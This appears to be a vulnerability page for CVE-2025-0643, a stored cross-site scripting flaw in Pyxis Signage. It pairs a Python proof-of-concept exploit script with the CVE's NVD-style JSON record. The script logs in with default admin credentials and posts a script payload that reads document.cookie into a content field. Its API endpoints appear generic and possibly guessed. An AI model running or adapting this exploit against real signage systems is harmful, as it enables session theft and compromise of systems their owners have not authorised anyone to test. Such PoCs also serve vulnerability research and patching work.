CVE-2025-0643

import requests import json # CVE-2025-0643 PoC - Pyxis Signage Stored XSS # Target: Pyxis Signage <= 31012025 TARGET_URL = "http://target-website.com" LOGIN_URL = f"{TARGET_URL}/api/auth/login" PAYLOAD_URL = f"{TARGET_URL}/api/content/create" XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def exploit_stored_xss(): """ Stored XSS exploitation in Pyxis Signage Steps: 1. Authenticate with high privilege account (PR:H required) 2. Inject XSS payload into vulnerable input field 3. Payload stored on server and executed when viewed """ session = requests.Session() # Step 1: Login with high privilege account login_data = { "username": "admin", "password": "password" } try: login_resp = session.post(LOGIN_URL, json=login_data, timeout=10) if login_resp.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject XSS payload into content creation content_data = { "title": "Malicious Content", "description": XSS_PAYLOAD, "content_type": "text" } inject_resp = session.post(PAYLOAD_URL, json=content_data, timeout=10) if inject_resp.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload stored at: {inject_resp.json().get('id')}") return True else: print("[-] Payload injection failed") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": print("CVE-2025-0643 Pyxis Signage Stored XSS PoC") exploit_stored_xss()

{"cve": {"id": "CVE-2025-0643", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:21.637", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Narkom Communication and Software Technologies Trade Ltd. Co. Pyxis Signage allows Stored XSS.This issue affects Pyxis Signage: through 31012025."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://www.usom.gov.tr/bildirim/tr-25-0404", "source": "[email protected]"}]}}